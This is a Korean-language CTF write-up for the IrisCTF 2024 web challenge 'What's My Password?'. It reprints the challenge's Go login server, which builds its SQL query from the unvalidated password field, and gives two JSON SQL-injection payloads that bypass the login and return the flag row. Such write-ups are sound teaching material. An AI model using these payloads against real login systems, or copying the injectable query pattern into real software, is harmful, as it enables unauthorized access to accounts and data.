[CTF Writeup / Web] IrisCTF 2024 - What's My Password?

[CTF Writeup] IrisCTF 2024 - [WEB] What's My Password?



안녕하세요. 이번 포스팅은 2024.01.06(토) 9시부터 진행된 IrisCTF 2024의 WEB 문제 What's My Password? Writeup 입니다.


문제 화면

문제 URL에 접근하면 로그인 화면이 보입니다.


package main

import (
    "database/sql"
    "encoding/json"
    "fmt"
    "net/http"
    "os"
    "os/signal"
    "regexp"
    "syscall"

    _ "github.com/go-sql-driver/mysql"
)

var DB *sql.DB
var Mux = http.NewServeMux()
var UsernameRegex = `[^a-z0-9]`

type Account struct {
    Username string `json:"username"`
    Password string `json:"password"`
}

func startWeb() {
    fmt.Println("Starting very secure login panel (promise)")

    fs := http.FileServer(http.Dir("/home/user/web"))
    Mux.Handle("/", fs)

    Mux.HandleFunc("/api/login", func(w http.ResponseWriter, r *http.Request) {
        if r.Method != http.MethodPost {
            w.WriteHeader(http.StatusMethodNotAllowed)
            return
        }

        var input Account

        decoder := json.NewDecoder(r.Body)
        decoder.Decode(&input)

        if input.Username == "" {
            w.WriteHeader(http.StatusBadRequest)
            w.Write([]byte("Missing Username"))
            return
        }
        if input.Password == "" {
            w.WriteHeader(http.StatusBadRequest)
            w.Write([]byte("Missing Password"))
            return
        }

        matched, err := regexp.MatchString(UsernameRegex, input.Username)
        if err != nil {
            w.WriteHeader(http.StatusInternalServerError)
            return
        }

        if matched {
            w.WriteHeader(http.StatusBadRequest)
            w.Write([]byte("Username can only contain lowercase letters and numbers."))
            return
        }

        qstring := fmt.Sprintf("SELECT * FROM users WHERE username = \"%s\"" + \
                        " AND password = \"%s\"", input.Username, input.Password)

        query, err := DB.Query(qstring)
        if err != nil {
            w.WriteHeader(http.StatusInternalServerError)
            fmt.Println(err)
            return
        }

        if !query.Next() {
            w.WriteHeader(http.StatusUnauthorized)
            w.Write([]byte("Invalid username / password combination!"))
            return
        }

        var result Account
        err = query.Scan(&result.Username, &result.Password)
        if err != nil {
            w.WriteHeader(http.StatusInternalServerError)
            fmt.Println(err)
            return
        }
        encoded, err := json.Marshal(result)
        if err != nil {
            w.WriteHeader(http.StatusInternalServerError)
            fmt.Println(err)
            return
        }

        w.Write(encoded)
    })

    http.ListenAndServe(":1337", Mux)
}

func main() {
    fmt.Println("Establishing connection to MySql")
    db, err := sql.Open("mysql", "readonly_user:password@tcp(127.0.0.1:3306)/uwu")
    if err != nil {
        fmt.Println(err)
        return
    }
    DB = db

    defer DB.Close()

    startWeb()

    sigChan := make(chan os.Signal, 1)
    signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)
    <-sigChan
}

제공된 소스코드 중 main.go 파일 내용입니다.



matched, err := regexp.MatchString(UsernameRegex, input.Username)

qstring := fmt.Sprintf("SELECT * FROM users WHERE username = \"%s\" AND password = \"%s\"", input.Username, input.Password)

그 중 위 코드 부분을 보면, Username만 입력값 검증을 하고 Password는 쿼리문에 그대로 들어갑니다.



SQL Injection

{
    "username":"admin",
    "password":"admin\"||1 limit 0,1-- a"
}

이렇게 요청을 하면 로그인은 성공하지만, flag가 보이지 않습니다.



SQL Injection

{
    "username":"admin",
    "password":"admin\"||1 limit 1,1-- a"
}

두 번째 행의 값을 가져오면 비밀번호의 플래그가 있습니다. 이번 문제는 간단한 SQL Injection이라서 쉬운 문제였습니다.




댓글